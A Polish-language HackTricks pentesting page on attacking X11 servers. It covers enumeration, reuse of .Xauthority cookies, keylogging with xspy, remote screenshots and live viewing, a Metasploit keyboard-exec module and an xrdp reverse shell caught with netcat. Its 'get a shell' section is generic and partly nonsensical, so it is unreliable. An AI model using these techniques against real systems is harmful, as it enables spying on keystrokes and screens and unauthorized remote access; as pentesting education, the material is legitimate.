# 6000 - Testowanie penetracyjne X11
Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
**Spostrzeżenia dotyczące hakerstwa**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Aktualności na żywo o hakerstwie**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Podstawowe informacje
**System okien X** (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia on framework do tworzenia graficznych **interfejsów użytkownika (GUI)**, gdzie poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowywalne doświadczenia w środowisku X.
**Domyślny port:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Wyliczanie
Sprawdź **anonimowe połączenie:**
```bash
nmap -sV --script x11-access -p
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokalne wyliczenie
Plik **`.Xauthority`** w folderze domowym użytkownika jest **używany** przez **X11 do autoryzacji**. Z [**tutaj**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: Generowanie 128-bitowego klucza ("cookie"), przechowywanie go w \~/.Xauthority (lub tam, gdzie wskazuje zmienna środowiskowa XAUTHORITY). Klient wysyła go do serwera w postaci zwykłego tekstu! Serwer sprawdza, czy ma kopię tego "cookie" i jeśli tak, połączenie jest zezwolone. Klucz jest generowany przez DMX.
{% hint style="warning" %}
Aby **używać cookie**, należy ustawić zmienną środowiskową: **`export XAUTHORITY=/ścieżka/do/.Xauthority`**
{% endhint %}
#### Sesja lokalnego wyliczania
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
## Weryfikacja połączenia
W przykładzie, `localhost:0` uruchamiał sesję xfce4.
## Sprawdzenie połączenia
```bash
xdpyinfo -display :
xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) do przechwytywania naciśnięć klawiszy na klawiaturze.
Przykładowy wynik:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Przechwytywanie zrzutów ekranu
Podczas testowania penetracyjnego X11, przechwytywanie zrzutów ekranu może być przydatne do uzyskania wglądu w aktywność użytkownika na zdalnym systemie. Istnieją różne narzędzia, które można wykorzystać do przechwytywania zrzutów ekranu w środowisku X11.
### Narzędzia do przechwytywania zrzutów ekranu
1. **xwd**: Narzędzie wiersza poleceń, które pozwala na przechwytywanie zrzutów ekranu w formacie XWD (X Window Dump). Można je uruchomić za pomocą polecenia `xwd -root -out screenshot.xwd`, gdzie `screenshot.xwd` to nazwa pliku, do którego zostanie zapisany zrzut ekranu.
2. **scrot**: Proste narzędzie do przechwytywania zrzutów ekranu w środowisku X11. Można je zainstalować za pomocą polecenia `sudo apt-get install scrot`. Aby przechwycić zrzut ekranu, wystarczy uruchomić polecenie `scrot screenshot.png`, gdzie `screenshot.png` to nazwa pliku, do którego zostanie zapisany zrzut ekranu.
3. **import**: Narzędzie z pakietu ImageMagick, które umożliwia przechwytywanie zrzutów ekranu w formacie PNG, JPEG, GIF itp. Można je uruchomić za pomocą polecenia `import screenshot.png`, gdzie `screenshot.png` to nazwa pliku, do którego zostanie zapisany zrzut ekranu.
### Przechwytywanie zrzutów ekranu zdalnego systemu
Aby przechwycić zrzut ekranu zdalnego systemu, należy najpierw nawiązać połączenie z tym systemem za pomocą narzędzi takich jak **ssh** lub **VNC**. Następnie można użyć powyższych narzędzi do przechwycenia zrzutu ekranu na zdalnym systemie i przesłać go na lokalny system za pomocą narzędzi do transferu plików, takich jak **scp**.
Przechwytywanie zrzutów ekranu może być przydatne podczas testowania penetracyjnego, aby uzyskać wgląd w aktywność użytkownika, identyfikować potencjalne luki w zabezpieczeniach i zbierać informacje potrzebne do dalszej analizy.
```bash
xwd -root -screen -silent -display > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Widok zdalnego pulpitu
Źródło: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py
```
Sposób od: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
Najpierw musimy znaleźć ID okna za pomocą xwininfo
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Aby **na żywo** oglądać, musimy użyć
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Uzyskaj dostęp do powłoki
Aby uzyskać dostęp do powłoki systemu, możesz wykorzystać kilka technik:
### 1. Wykorzystanie słabych uprawnień X11
Jeśli serwer X11 jest uruchomiony na docelowym systemie, możesz spróbować wykorzystać słabe uprawnienia, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:
1. Sprawdź, czy serwer X11 jest uruchomiony, używając polecenia `ps aux | grep Xorg`.
2. Sprawdź, czy istnieje plik `.Xauthority` w katalogu domowym użytkownika, używając polecenia `ls -la ~`.
3. Skopiuj plik `.Xauthority` do swojego katalogu domowego, używając polecenia `cp ~/.Xauthority ~/xauthority`.
4. Ustaw zmienną środowiskową `XAUTHORITY` na ścieżkę do skopiowanego pliku `.Xauthority`, używając polecenia `export XAUTHORITY=~/xauthority`.
5. Uruchom dowolne polecenie X11, na przykład `xterm`, aby uzyskać dostęp do powłoki.
### 2. Wykorzystanie podatności w aplikacjach X11
Jeśli znasz konkretne podatności w aplikacjach X11, możesz je wykorzystać, aby uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:
1. Zidentyfikuj podatne aplikacje X11, które są uruchomione na docelowym systemie.
2. Wykorzystaj znane podatności w tych aplikacjach, aby zdobyć dostęp do powłoki.
### 3. Wykorzystanie ataku Man-in-the-Middle (MitM)
Jeśli jesteś w stanie przeprowadzić atak Man-in-the-Middle (MitM) na komunikację X11, możesz przechwycić dane uwierzytelniające i uzyskać dostęp do powłoki. Możesz to zrobić, wykonując następujące kroki:
1. Przechwyć komunikację X11 między klientem a serwerem.
2. Zidentyfikuj dane uwierzytelniające, takie jak hasła, przesyłane w tej komunikacji.
3. Użyj zdobytych danych uwierzytelniających, aby uzyskać dostęp do powłoki.
Pamiętaj, że wszelkie próby uzyskania dostępu do powłoki systemu muszą być przeprowadzane zgodnie z prawem i tylko w celach pentestingu.
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Inny sposób:
**Odwrócona powłoka (Reverse Shell):** Xrdp umożliwia również uzyskanie odwróconej powłoki za pomocą Netcat. Wpisz następujące polecenie:
```bash
./xrdp.py \ –no-disp
```
W interfejsie możesz zobaczyć opcję **R-shell**.
Następnie uruchom nasłuchiwanie **Netcat** na swoim lokalnym systemie na porcie 5555.
```bash
nc -lvp 5555
```
Następnie wpisz swój adres IP i port w opcji **R-Shell** i kliknij **R-shell**, aby uzyskać powłokę
## Odwołania
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
* `port:6000 x11`
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wnioski z Hackingu**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem
**Aktualności na żywo z Hackingu**\
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i spostrzeżeniom
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
Naucz się hakować AWS od zera do bohatera zhtARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.